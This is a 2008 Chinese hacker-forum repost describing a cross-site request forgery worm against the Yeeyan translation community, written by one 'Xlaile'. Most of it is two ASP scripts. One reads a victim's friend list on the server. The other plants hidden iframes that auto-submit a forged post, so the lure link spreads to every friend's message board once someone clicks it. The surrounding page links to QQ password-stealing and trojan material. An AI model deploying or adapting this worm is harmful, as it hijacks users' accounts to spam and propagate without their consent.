设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 木马利用 -> 文章内容 [站内搜索]  

 
译言的这个CSRF蠕虫
作者:不详  来源:网络  发布时间:2008-9-23 20:01:06  发布人:www.hack86.com
译言的这个CSRF蠕虫 
 
nice job:)

用服务端的Microsoft.XMLHTTP控件解决了可变ID的问题。只需要一个链接,类似于这样:http://www.evilsite.com/yeeyan.asp,发送到你的译言帐户的个人空间留言板去,欺骗用户点击后,就可以很快传播(向被“感染”用户的每个好友的留言板上发送相同信息,发送方是那些因为好奇而点击CSRF链接的人)。这完全不需要客户端脚本。

yeeyan.asp code:

<%
’author: Xlaile
’date: 2008-09-21
’this is the CSRF Worm of www.yeeyan.com
r = Request.ServerVariables("HTTP_REFERER")

If instr(r,"http://www.yeeyan.com/space/show") > 0 Then

Function regx(patrn, str)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
For Each Match in Matches
RetStr = RetStr & Match.Value & " | "
Next
regx = RetStr
End Function

Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End Function

id = Mid(r,34)
furl = "http://www.yeeyan.com/space/friends/" + id
Set http=Server.CreateObject("Microsoft.XMLHTTP")
http.Open "GET",furl,False
http.Send
ftext = http.ResponseText
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
farray = Split(fstr , " | ")
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing

s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src=’yeeyan_iframe.asp?id=" & f(i) & "’></iframe>"
Next
Response.write(s)

’ Set http=Server.CreateObject("Microsoft.XMLHTTP")
’ http.open "POST","http://www.yeeyan.com/groups/newTopic/",False
’ http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
’ c = "hello"
’ cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)
’ http.send cc

End If
%>

yeeyan_iframe.asp code:

<%
’author: Xlaile
’date: 2008-09-21
’this is the CSRF Worm of www.yeeyan.com
id = Request("id")
s = "<form method=’post’ action=’http://www.yeeyan.com/groups/newTopic/&;#39; onsubmit=’return false’>"
s = s+"<input type=’hidden’ value=’The delicious Tools for yeeyan translation: http://127.0.0.1/yeeyan.asp&;#39; name=’data[Post][content]’/>"
s = s+"<input type=’hidden’ value=" + id + " name=’ymsgee’/>"
s = s+"<input type=’hidden’ value=" + id + " name=’ymsgee_username’/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)

%>

相关截图:

导致CSRF的原形(yeeyan.asp发生作用后的客户端源码): 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

 

 
免费获得Q币的最新方法
不用木马,轻松万能偷daoQQ号码
最新免费在线看的电影网站集绵
新免蟆Q秀,刷红钻的方法
最新QQ空间4.0全屏版效果图!!
黑客快速入门(强烈推荐)
免费QQ蓝钻体验(附考试答案)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
8款QQ空间免费开场动画
 
七点措施安全组建家庭无线网络小.. 09-23
2008最新网络用语大全 09-23
局域网病毒入侵原理及防范方法 09-23
ESET NOD32+奇虎360的优势何在?.. 09-23
加强Windows操作系统安全性的十大.. 09-23
黑客的社会工程攻击新技术:机遇型.. 09-23
如何检查并堵住网站的eWebEditor.. 09-23
开机吓人的程序源代码 09-23
渗透某一游戏交易网 09-23
译言的这个CSRF蠕虫 09-23
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com